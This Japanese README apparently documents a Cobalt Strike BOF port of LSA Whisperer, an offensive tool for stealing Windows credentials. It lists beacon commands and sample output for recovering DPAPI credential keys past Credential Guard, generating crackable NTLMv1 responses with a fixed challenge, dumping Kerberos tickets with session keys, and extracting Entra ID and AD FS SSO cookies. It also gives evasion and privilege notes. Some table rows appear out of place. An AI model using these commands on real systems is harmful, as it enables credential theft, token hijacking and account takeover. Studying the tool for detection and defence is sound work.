
Beacon Object File (BOF) は、LSASSプロセスメモリに触れることなく、LSA非信頼/信頼クライアントインターフェースを介してWindows認証パッケージと直接通信します。

Cobalt Strike Beacon Object File (BOF) のポートである LSA Whisperer のツールで、LSAの信頼済み/未信頼クライアントインターフェースを通じてWindows認証パッケージと直接通信し、PPLやCredential Guardが有効な場合でもLSASSプロセスメモリに触れません。
Evan McBroom (SpecterOps) による LSA Whisperer は、DPAPI資格情報キーの復元、クラウドSSOトークンの抽出、Kerberosとのやり取りを、すべて正当な LsaCallAuthenticationPackage API呼び出しを通じて行えることを実証しました。メモリ読み取り、プロセスインジェクション、LSASSへのハンドルは不要です。
このプロジェクトは、これらの機能をC2にBOFとして組み込み、レッドチーム演習で使用できるようにします。lsassプロセスへのハンドルを開くことはなく、すべての呼び出しはLsaCallAuthenticationPackage(lsassと通信するための公式クライアントAPI)を経由するため、LSASS上のPPLはまったく問題になりません。PPLはLSASSプロセスを開いたり、読み取ったり、注入したりすることを保護します。
| コマンド | 説明 |
|---|---|
lsa-credkey [LUID] | DPAPI資格情報キーを復元します。Credential Guard でも動作します。 |
lsa-strongcredkey [LUID] | 強力なDPAPI資格情報キーを復元します(Win10+)。 |
lsa-ntlmv1 [LUID] [challenge] | 選択したチャレンジでNTLMv1応答を生成します。デフォルトのチャレンジ 1122334455667788 は crack.sh のレインボーテーブルと互換性があります。 |

| コマンド | 説明 |
|---|---|
lsa-klist [LUID] | キャッシュされたKerberosチケットを一覧表示します。 |
lsa-dump [LUID] | すべてのチケットをセッションキーと共にbase64 .kirbi ブロブとしてダンプします。 |
lsa-purge [LUID] [server] | チケットを消去します。サーバー名による選択的消去をサポートします。 |

| コマンド | 説明 |
|---|---|
lsa-ssocookie [LUID] | AADプラグインを介してEntra ID (Azure AD) SSOクッキーを抽出します。 |
lsa-devicessocookie [LUID] |
LUID: 現在のセッションには 0 か省略。特定のログオンセッションを対象にするには16進数値(例: 0x3e7)。他のセッションを対象にするにはSYSTEM権限が必要です。
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
復元されたキーを SharpDPAPI で使用します:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
応答を crack.sh に送信すると、デフォルトのチャレンジで即座にNTハッシュが復元されます。
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor script (load this)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API declarations + DFR imports
│ └── lsa_structs.h # All LSA/MSV1_0/Kerberos/CloudAP structs
├── src/
│ ├── common/
│ │ └── lsa_common.c # Shared LSA init, helpers, output formatting
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 commands
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos commands
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD commands
└── build/ # Compiled BOFs (after make)
各モジュールは独立したBOFにコンパイルされます。共通コードはコンパイル時にインクルードされます(標準的なBOFパターン)。共有ライブラリや実行時依存関係はありません。
| コンテキスト | 能力 |
|---|---|
| 現在のユーザー(非特権) | 自身のセッションに対する lsa-klist、lsa-ssocookie、lsa-cloudinfo |
SYSTEM(SeTcbPrivilege) | LUIDで任意のログオンセッションを対象とするすべてのコマンド |
利用可能なLUIDを logonpasswords または klist で列挙し、対象のセッションを特定します。
lsa-credkey と lsa-strongcredkey はCredential Guardを通過して動作します。lsa-ntlmv1 はブロックされます。1122334455667788 により、crack.sh経由で無料のレインボーテーブルクラッキングが可能です。カスタムチャレンジも動作しますが、標準的なブルートフォースが必要です。lsa-purge は、一致するチケットのみを削除します。ユーザーのセッションを妨害せずに標的を絞ったKerberosの悪用に有用です。このプロジェクトは、SpecterOps の Evan McBroom (@EvanMcBroom) による LSA Whisperer のBOFポートです。基礎となるすべての研究(文書化されていないMSV1_0プロトコルメッセージ、CloudAP/AADプラグイン呼び出しインターフェース、これを可能にする構造体定義など)は彼の成果です。
主な参考文献:
| デバイスSSOクッキーを抽出します。 |
lsa-enterprisesso [LUID] | AD FSエンタープライズSSOクッキーを抽出します。 |
lsa-cloudinfo [LUID] | クラウドプロバイダー情報、TGTステータス、DPAPIステータスを照会します。 |